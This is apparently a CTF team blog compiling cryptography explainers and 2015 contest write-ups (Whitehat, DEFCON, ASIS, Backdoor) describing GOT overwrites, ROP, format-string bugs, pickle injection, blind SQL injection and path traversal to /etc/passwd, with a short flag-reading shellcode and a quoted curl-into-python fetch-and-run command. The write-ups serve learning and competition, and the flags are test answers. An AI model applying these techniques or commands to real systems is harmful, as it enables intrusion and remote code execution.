Basic concepts of Chinese Remainder Theorem with respect of RSA/AES

 

Chinese Remainder Theorem
=========================

Suppose n_{1},n_{2}, ... , n_{k} are positive integers and coprime in pair. For any sequence of integers a_{1}, a_{2}, ... , a_{n}, there exists an integer x solving the following system of congruence equations:

\begin{cases} x \equiv a_1 \pmod{n_1} \\ \quad \cdots \\ x \equiv a_k \pmod{n_k} \end{cases}
There exists an unique modulo solution of the system of simultaneous congruences above:

x = a_1 M_1 y_1+ \cdots +a_k M_k y_k \pmod{M }in which:
\begin{aligned}<br data-recalc-dims= M &= m_1 \cdots m_k \\
M_1 &= \frac{M}m_1 , \cdots, M_k = \frac{M}m_k \\
y_1 &\equiv (M_1)^{-1} \pmod{m_1}, \cdots , y_k\equiv (M_k)^{-1}\pmod{m_k}
\end{aligned}" />

Continue reading Basic concepts of Chinese Remainder Theorem with respect of RSA/AES

Introduction to Threshold signature scheme

THRESHOLD SIGNATURE SCHEME

  1. Introduction

Assuming there are 20 employees in a company, and if each employee has his or her own copy of the secret key then it is hard to assure on individuals due to compromise and machine break down. In the other hand, if there is a valid signature requires all 20 employees’ signature in the company then it will be very secure but not be easy to use. Therefore we can implement a scheme which requires only sign 5 or more out of 20 employees then it will be valid and that is exactly what a (5,20) threshold signature scheme tries to achieve. In addition, if a threat agent wants to compromise the system and obtain a message, he must compromise at least 5 people in the scheme and that is a harder thing to do compared to a traditional public scheme.

Continue reading Introduction to Threshold signature scheme

Deciphering Ceasar basic concept

Deciphering

 

Ciphertext: “VaqrprzoreoeratraWhyvhfraJnygreUbyynaqreqrgjrroebrefinaRqvguZnetbganne

NzfgreqnzNaarjvytenntzrrxbzraznnezbrgabtrrarragvwqwrovwbzn

oyvwiraBznmnyurgzbrvyvwxuroorabzNaarabtrracnnejrxraqnnegrubhqrafpuev

wsgRqvguSenaxvarraoevrsnnaTregehqAnhznaauhaiebrtrerohhezrvfwrvaSenaxs

hegnzZnva

The given ciphertext has only letters without space, punctuation or separated key, there are two classic cipher systems such as substitution cipher and transposition cipher which are known to be easy to attack by using frequency analysis or bruteforce techniques. Continue reading Deciphering Ceasar basic concept

[Whitehat GrandPrix 2015] Writeup

Pwn200:

ASLR tắt, bug cho phép ghi đè 2 byte vào địa chỉ char *buf = malloc(20);. Với ASLR tắt thì địa chỉ map của [heap] section sex fix ở dạng 0x0804xxxx, do đó ta có thể điều khiểu *buf = got_table một cách dễ dàng. Phương pháp khai thác như sau:

  • Ghi đè free's got = trở lại phần read để đọc > 40 bytes => stack overflow.
  • Ghi đè strtoimax's = địa chỉ lệnh ret
  • Ghi đè memcpy => leave;ret => tiến hành trigger buffer overflow khi trở lại hàm read để đọc > 40 bytes. Ngoài ra do ASLR tắt nên địa chỉ map của libc luôn fix, nên công việc còn lại chỉ là bruteforce libc base addr.

Mã khai thác: https://gist.github.com/peternguyen93/f4e9bf786c2df2ab968f

Pwn300:

Lỗ hổng stack base buffer overflow rất rõ ràng khi sử dụng hàm gets(buf), do binary được compiled 32 bit do đó ta có thể control địa chỉ flag và đọc được bất cứ dữ liệu nào của memory

void find_flag(char *flag)
{
    char buf[256];
    make_flag(flag); //đổi flag
    while(1){
       gets(buf);
       printf("%s%s\n",buf,flag);
    }
}

Mã khai thác

https://gist.github.com/peternguyen93/e187ad6cee83346298ce

Pwn500:

Binary sử dụng các kỹ thuật anti-debug và cấm sử dụng các syscall (execve,fork,clone). Ngoài ra lỗ hổng buffer overflow khá là rõ ràng, binary được compile bằng PIE. Tuy nhiên, hàm read không tự động viết null bye vào cuối, do đó ta có thể leak được canary và libc_base , thông qua các bước sau:

  • Leak canary.
  • Ghi đè địa chỉ return address về main
  • Leak libc_start_main => libc_base
  • Tiến hành sử dụng rop chain để build mã đọc flag và trả về.

https://gist.github.com/peternguyen93/c4dda7ef5dd7cb549a2f

Web100:

SQL Injection, do chưa filter đấu '\'. Ngoài ra trước khi hết thúc xử lý request, web100 gọi hàm re.findall(r'(y+)*',row), hàm regex findall match tất cả các substring có thể match, ngoài ra chuỗi regex (y+)* với một chút google ta có kq sau https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS , đo đó có thể build một query cho phép ta có thể phân biệt được trạng thái đúng hoặc sai để blind flag dựa trên time base.

https://gist.github.com/peternguyen93/75839e252257e9da62e4

Web200:

Lỗ hỗng rất rõ ràng khi web app sử dụng pickle data serialization, thông qua đó ta có thể sử dụng code injection để có được shell trên server.

https://gist.github.com/peternguyen93/c168c15919a3203acfe2

Web300:

Lỗi LFI cho phép có thể lấy được mã nguồn của website, trong đó thấy được một script cgi lấy thông tin về thời gian. Script này bị lỗi command injection, do giới hạn các hàm connect back, để get shell ta lợi dụng file /run/cgicounter ta có thể đọc từng ký tự của command trả về.

https://gist.github.com/peternguyen93/0c34bc33d99ff71593a7

CSAW 2015 CTF All Exploitable Solutions (Script only)

I'm too lazy to write up in deep these challenges, but i will give you my solution to solve these challenges. You will do it by yourself before you read my exploit script, that makes you understand deeper. I hope you enjoy with this. Happy pwnning.

1119

[Write up] DEFCON CTF 2015 - wwtv , cybergrandsandbox

WWTV

The bug is easy to find at function Coordidate, this is basic format string bug

But before you enter printf(s), we must to bypass the check a pair float number is parsed from s, to bypass it we just append format string bug to the end of the pair '51.492137,-0.192878' , for more information about atof read this http://www.cplusplus.com/reference/cstdlib/atof/

So the payload to exploit this bug too easy:

  1. First, we need to leak binary base address, and libc address
  2. Second, calc system address and then overwrite atof got by system address and then pwned.

But the game is not over, before we exploit the bug, we need to solve 2 problems:

We must to write a program to solve the game to enter TARDIS mode (this task is to quite strange)

We must bypass timecheck to enter vulnerable function

time_c > 0x55592B6C && time_c <= 0x55592B7F;

We must set time_c in range (0x55592b6c,0x55592b7f].

Take a look at READ_DATA function , will be triggered after 2 second.

OMG, the buffer was used for saving the connection to localtime server was used to store user input. We just send 9 zero bytes to server and then wait until READ_DATA is triggered and then send 4 bytes in require range, and we will enter vulnerable function.

Our poc here : https://gist.github.com/peternguyen93/f06aa5e27626598a1c21

CyberGrandSandbox

This is very interesting challenge.

After doing RE we find some usefull information:

This program implementing basic Polish Notation by using JIT compiler.

The structure of jit is:

Take a look at function handle_digit 

When we inputted a string of number is seperated by space character , the jit compiter will push it in the stack_buffer.

We know that size of stack_buf is 0x1000 (located below stack_code), in this function there are no unbound checking if we push the stack_buf into stack_code, and so this bug does.

We just write own shellcode and then overwrite some opcode in the end of asm_code with own shellcode  (because cgc executable is not have sys_execve syscall so we just use some syscall provided by CGC to read the flag).

Our shellcode :

_start:
	push 0x3
	pop eax
	push ebx
	pop ecx
	push 0x3
	pop ebx
	push 0x50
	pop edx ;ebx hold my buffer
	int 0x80
	push 0x2
	pop eax
	push 0x1
	pop ebx
	int 0x80

Our poc is : https://gist.github.com/peternguyen93/e7d08cf109b38af6baae

This is the first time i wrote writeup using english, if something went wrong or some point you dont understand, feel free to ask me above

ASIS Quals CTF 2015 - grids, keka-bomb, dump Writeup

Programming 300 - grids

Đề bài nhận được là cho 1 tập hợp điểm trên mặt phẳng 2D, cần tìm diện tích đa giác lớn nhất tạo được mà các đỉnh của đa giác được lấy từ tập hợp điểm đã cho. Dễ thấy là đa giác cần tìm cần bao trọn toàn bộ tập điểm, nên bài toán quy về việc tính diện tích bao lồi của tập điểm này.

Có thể dùng thuật toán quét Graham để tìm bao lồi sau đó dùng công thức tính diện tích của Gauss để tính diện tích đa giác vừa tìm được. Nhưng trong SciPy đã có code tìm bao lồi nên mình không cần phải code lại phần bao lồi nữa :))

Code của mình (mình k biết chèn gist vào đây như thế nào :<):

from scipy.spatial import ConvexHull
import numpy as np
import ast
import telnetlib
import re
 
class Telnet(telnetlib.Telnet):
    # inherit from Telnetlib and add new method
    def __init__(self,host,port):
        telnetlib.Telnet.__init__(self,host,port)
    # make easier when you want to send raw data to server
    def writeRawData(self,data):
        return self.get_socket().send(data)
 
    def recvRawData(self,size):
        return self.get_socket().recv(size)
 
# Calculate algebraic area of a polygon using shoelace formula
def area(vertices):
    n = len(vertices)
    area = 0.0
    for i in range(n):
        j = (i + 1) % n
        area += vertices[i][0] * vertices[j][1]
        area -= vertices[j][0] * vertices[i][1]
    area /= 2.0
    return area
 
host = '217.218.48.84'
port = 12432
 
# connect
tel = Telnet(host, port)
s = tel.read_until('Are you ready for this challenge?\n')
print s,
# reply
print 'yes'
tel.writeRawData('yes\n')
s = tel.read_until('OK, OK, lets start\n')
print s,
# solve
for i in range(99):
    print '[*] %d-th round' % i
    s = tel.read_until("What's the area?")
    print s,
    l = np.array(ast.literal_eval(re.findall(r'\n(

.*

)\n', s)[0])) hull = ConvexHull(l) vertices = l[hull.vertices] res = abs(area(vertices)) print res tel.writeRawData(str(res)+'\n') # get flag tel.interact()

Flag là

ASIS{f3a8369f4194c5e44c03e5fcefb8ddf6}

Forensics 75 - Keka Bomb

File đã cho là một file 7z và bên trong nó gồm nhiều file 7z con với dung lượng mỗi file khoảng 4GB : 0009.7z -> 0000007.7z -> 0000000008.7z -> bomb_8, mở file này bằng HxD, tìm chuỗi "ASIS" sẽ thấy flag:

ASIS{f974da3203d155826974f4a66735a20b}

Forensics 250 - Dump
File trong đề là 1 file .sav của VirtualBox nhận được khi tạo snapshot hoặc suspend máy ảo. File chỉ chứa một phần RAM đã được sử dụng và được sắp xếp theo một trật tự không nhất định nên (theo quá trình Google của mình) không thể lấy trực tiếp thông tin trên đây được :<, mà cần phải chạy file .sav trên VirtualBox rồi tạo core dump hoặc memdump sau đấy mới phân tích được.

Mình đã tạo một máy ảo VirtualBox với hệ điều hành là Ubuntu x64, để ổ cứng kết nối ở IDE Primary Master, card mạng là Am79C973, RAM là 128MB. Sau đó mình boot máy ảo này, suspend nó, rồi ghi đè file đã cho vào file .sav được VirtualBox tạo ra. Sau đó khi khởi động lại, mình vào được trạng thái đang lưu trong file .sav với hệ điều hành là Tiny Core Linux:

asis_dump

Ở trong lịch sử dòng lệnh, có một lệnh là

python -c "$(curl -fSsL http://a.asis.io/0QnqZU9F)"

Lệnh này down 1 file .py từ server và thực hiện file này. Mình đã không quan tâm đến nó trong khi đây chính là mấu chốt của bài toán :< (cảm ơn anh @yeuchimse đã chỉ cho em đoạn này :3).

Như vậy có khả năng file Python kia vẫn còn được lưu đâu đó ở trong RAM của máy ảo, vì vậy cần phải đọc được RAM và tìm kiếm đoạn 'Please enter the access key' vì khi chương trình được chạy có in ra dòng này. Trong quá trình thi, mình đã chạy VirtualBox trong một máy ảo VMware và dump RAM của máy ảo VMware để tìm trong đó :<. Tuy vậy có một cách đơn giản hơn là dùng HxD hoặc Cheat Engine. Sau khi tìm kiếm với chuỗi:

'Please enter the access key

, ta tìm được đoạn code:

memview

Đoạn code này yêu cầu nhập 1 chuỗi là key, và nếu key đúng sẽ in ra thứ gì đó. Thử xây dựng lại key từ file code tìm được, sau đó dùng key này để tìm chuỗi in ra:

import hashlib
 
# calculate key
key_ar = [0 for i in range(5)]
key_ar[0] = hex(58559604012647)[2:].decode('hex')
key_ar[1] = hex(27697077611219024)[2:].decode('hex')
key_ar[2] = hex(28839576914310229)[2:].decode('hex')
key_ar[3] = hex(14469853439423811)[2:].decode('hex')
key_ar[4] = hex(21189029315236706)[2:].decode('hex')
key = '-'.join(key_ar)
 
# original code
# key = raw_input('Please enter the access key: ').strip()
if len(key) == 38:
    key_ar = key.split('-')
    if len(key_ar) == 5:
        if int(key_ar[0].encode('hex'), 16) ==  58559604012647:
            if int(key_ar[1].encode('hex'), 16) == 27697077611219024:
                if int(key_ar[2].encode('hex'), 16) == 28839576914310229:
                    if int(key_ar[3].encode('hex'), 16) == 14469853439423811:
                        if int(key_ar[4].encode('hex'), 16) == 21189029315236706:
                            print key[18] + key[-2] + chr(ord(key[26]) - 1) + key[-2] + '{' + hashlib.md5(key).hexdigest() + '}'
                        else:
                             print 'You access key is not correct! Banned!!'
                    else:
                        print 'You access key is not correct! Banned!!'
                else:
                    print 'You access key is not correct! Banned!!'
            else:
                print 'You access key is not correct! Banned!!'
        else:
            print 'You access key is not correct! Banned!!'
    else:
        print 'You access key is not correct! Banned!!'
else:
    print 'You access key is not correct! Banned!!'

Sau khi chạy file trên, ta được flag:

ASIS{632253c69a6049594bc303f0af0042b8}

BackdoorCTF Writeup

backdoor CTF 2015: NONAME

Category: Exploit Points: 200 Author: Amanpreet Singh Difficulty: Solves: 25 Description:

Intrestingly enough, even though it was not expected, Chintu found a cool website to play with, though he can't get the flag. Can you? Visit this. Submit the SHA-256 hash of the flag obtained.

Gaylord : At first, (str (all-ns)) to get all namespaces. And then (clojure.repl/dir noname.people.admin) to see what inside. There is including flag and secret. Used (noname.people.admin/flag) to get the  a half of the flag.

Chuymichxinhdep: However secret is a private variable variable, I used ((noname.people.admin/secret)) to obtain the other half of the flag. Problem solved.

backdoor CTF 2015: QR

Category: Misc Points: 70 Author: Abhay Bir Singh Rana Difficulty: Easy Solves: 84 Description:

Decode some QR codes at nc hack.bckdr.in 8010

 

chuymichxinhdep:

from subprocess import Popen, PIPE
i = 0
import socket

sock = socket.socket()
sock.connect(("hack.bckdr.in", 8010))
s= sock.recv(1024)
print(s)
while True:
	i=i+1
	string = ""
	s= sock.recv(65535)
	data= s.replace("\x20\x20","0").replace("\xe2\x96\x88\xe2\x96\x88","1")
	file = open('qr','w')
	for line in data.split("\n"):
		string = string+line[1:len(line)-1]+"0"*(47-len(line))+"\n"
	file.write(string[46:len(string)-1-46])
	file.close()
	output = Popen(["python", "sqrd.py", "qr"], stdout=PIPE).communicate()[0]
	print i, output.strip()
	sock.send(output.strip())

Convert the QR to binary only and use Strong QR to decode. After 50 submissions we've got the flag.

backdoor CTF 2015: RAPIDFIRE

Category: Misc Points: 500 Author: Amanpreet Singh Difficulty: TODO Solves: 0 Description:

I am enjoying it really. Are you? nc hack.bckdr.in 8007. Submit the SHA-256 hash of the flag obtained.

Chuymichxinhdep: Just use a brilliant source code from gaylord.

import socket, hashlib, time, requests
from geopy import GoogleV3
import re
import shelve
import omdb

host = '128.199.107.60'
port = 8008
rep_countrycode = False

def fib(n):
    i = h = 1
    j = k = 0
    while (n > 0) :
        if (n%2 == 1) : # when n is odd
            t = j*h
            j = i*h + j*k + t
            i = i*k + t
        t = h*h
        h = 2*k*h + t
        k = k*k + t
        n = int(n/2)
    return j

def get_country(place_name):
    gapi = shelve.open('googly_cache', writeback=True)
    try:
        wat = place_name.encode('base64')
    except UnicodeEncodeError:
        wat = u' '.join(place_name).encode('utf-8').strip().encode('base64')
    if (wat in gapi):
        print('[*] Found in shelf')
        loc = gapi[wat]
    else:
        print('[*] Request from GGAPI')
        loc = geolocator.geocode(place_name).raw
        gapi[wat] = loc
        gapi.sync()
    gapi.close()
    for comp in loc['address_components']:
        if 'country' in comp['types']:
            if rep_countrycode:
                return comp['short_name'] # TODO: not short_name but something else
            else:
                return comp['long_name']

def get_release(movie_name):
    gapi = shelve.open('moviee_cache', writeback=True)
    try:
        wat = movie_name.encode('base64')
    except UnicodeEncodeError:
        wat = u' '.join(movie_name).encode('utf-8').strip().encode('base64')
    if (wat in gapi):
        print('[*] Found in shelf')
        loc = gapi[wat]
    else:
        print('[*] Request from OMDB')
        s = omdb.title(movie_name)
        loc = s['year']
        gapi[wat] = loc
        gapi.sync()
    gapi.close()
    return loc
    
def read_until(wat):
    buf = ''
    while not (wat in buf):
        buf += sock.recv(1)
    return buf
    
def read_for_fun(sz):
    d = ''
    while (sz > 0):
        tmp = sock.recv(sz)
        sz -= len(tmp)
        d += tmp
    return d

# init connection
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
geolocator = GoogleV3()
pii = requests.get('http://www.angio.net/pi/digits/pi1000000.txt').text
# read & answer
while True:
    s = sock.recv(8192)
    if ('code is in CAPS' in s): rep_countrycode = True
    if (s == ''): sleep(10)
    print(s)
    n = 'wat'
    res = n
    if ('sum' in s):
        n = int(re.findall(r'first\ (\d+)\ ', s)[0])
        if ('odd' in s):
            res = n * n
        elif ('fibonacci' in s):
            res = fib(n+2) - 1
        elif ('natural number' in s):
            res = (n * (n + 1) // 2)
        res = str(res)
    elif ('prime' in s):
        n = int(re.findall(r'the\ (\d+)(st|nd|rd|th)', s)[0][0]) + 1
        n = str(n)
        page = requests.get('http://numbersofprime.com/prime/' + n)
        res = re.findall(r'

([\d,]+)

', page.text)[1] res = res.replace(',', '') res = res.strip() elif ('md5' in s): n = re.findall(r'of\ (.*)\n', s)[0] res = hashlib.md5(n).hexdigest() elif ('pi' in s): n = int(re.findall(r'the\ (\d+)(st|nd|rd|th)', s)[0][0]) res = pii[n+1] elif ('fibonacci' in s): n = int(re.findall(r'the\ (\d+)(st|nd|rd|th)', s)[0][0]) res = str(fib(n)) elif ('binary' in s): n = int(re.findall(r'of\ (\d+)\ in', s)[0]) res = bin(n)[2:] elif ('country' in s): n = re.findall(r'of\ (.*)\n', s)[0] res = get_country(n) elif ('release year' in s): n = re.findall(r'of\ (.*)\n', s)[0] res = get_release(n) print '[*] n = ', n print '[*] res = ', res sock.sendall(res+'\n')

 

I added pycountry to get the alpha-2 code of country. After 199 submissions we will get the flag. Not a fun challange because of slow server and too many stupid questions.

-chuymichxinhdep.

phd

BabyPhD.

[Whitehat Contest 8] Pwn200,Pwn500 Writeup

Phân tích code, binary là một simple webserver , nhận request từ client và trả về dữ liệu cần yêu cầu, hỗ trợ (GET/HEAD)

Chú ý 2 đoạn code sau

Screen Shot 2015-02-01 at 9.22.05 PM

Nhận path request , tiến hành urldecode rồi open cái file html/js/... mà client yêu cầu, sau đó trả về content.

Kiểm tra hàm CleanURL

Screen Shot 2015-02-01 at 9.22.44 PM

Hàm có tác vụ urldecode, tuy nhiền hàm này lại không filter '../' (path traveler) cho phép attacker có thể sử dụng '../' để read /etc/passwd (hoặc flag) chẳng hạn

Screen Shot 2015-02-01 at 9.18.50 PM

Screen Shot 2015-02-01 at 9.19.00 PM